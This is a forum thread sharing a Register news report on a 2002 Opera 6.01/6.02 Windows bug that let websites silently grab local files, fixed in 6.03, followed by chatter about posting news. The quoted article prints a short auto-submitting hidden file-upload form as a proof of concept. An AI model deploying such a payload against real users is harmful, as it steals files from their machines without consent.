Nasty Opera browser vulnerability discovered

Groltz

Groltz

My demeaning user rank is
Joined
Jan 15, 2002
Messages
1,295
Location
Pierce County, WA
The Register said:
A vulnerability in Opera 6.01 and 6.02 for Windows allows a malicious Web site to grab any file off a client's local drive with ease, GreyMagic Software has discovered. That's the bad news. The good news is that affects only Windows, and it's fixed in version 6.03 which is now available for download. Version 6.0 is not affected.

The problem lies in the way Opera handles form submissions involving file transfers via HTTP. Normally, you'll get a dialog thrown at you warning that a file transfer is about to commence. However, in this case it's possible to alter the 'value' attribute to avoid the dialog by making it appear that there are no files to be transferred.

This is accomplished with remarkable ease:

<body onload="document.secForm.submit()">
<form method="post" enctype="multipart/form-data" action="recFile.php" name="secForm">
<input type="file" name="expFile" value="c:\test.txt
" style="visibility:hidden">
</form>
</body>

The form is then submitted with the requested file. Notice the bit appended to the value statement. That's where the deception occurs. It shouldn't be possible to set the value attribute, but a coding oversight somewhere between Opera 6.0 and 6.0.1 permits it....
Click to expand...

Version 6.03 can be obtained here

--Steve
 
Groltz

Groltz

My demeaning user rank is
Joined
Jan 15, 2002
Messages
1,295
Location
Pierce County, WA
CougTek said:
Thanks Steve. Did you submit that news on the front page?
Click to expand...

I've never put up any front page news, Coug. I tried to register to do so once and it just gave me an error.

Feel free to put this article there if you feel like it.

-Steve
 
Handruin

Handruin

Administrator
Joined
Jan 13, 2002
Messages
13,920
Location
USA
Groltz said:
CougTek said:
Thanks Steve. Did you submit that news on the front page?
Click to expand...

I've never put up any front page news, Coug. I tried to register to do so once and it just gave me an error.

Feel free to put this article there if you feel like it.

-Steve
Click to expand...

If you don't mind, try to re-register. There are 6 accounts that have not been activated; I may purge them in a few weeks after I contact them all. Maybe you didn't get the activation link it sends out. Either way, try it again and let me know. I will try to get them all working, please just ask.
 
You must log in or register to reply here.
Top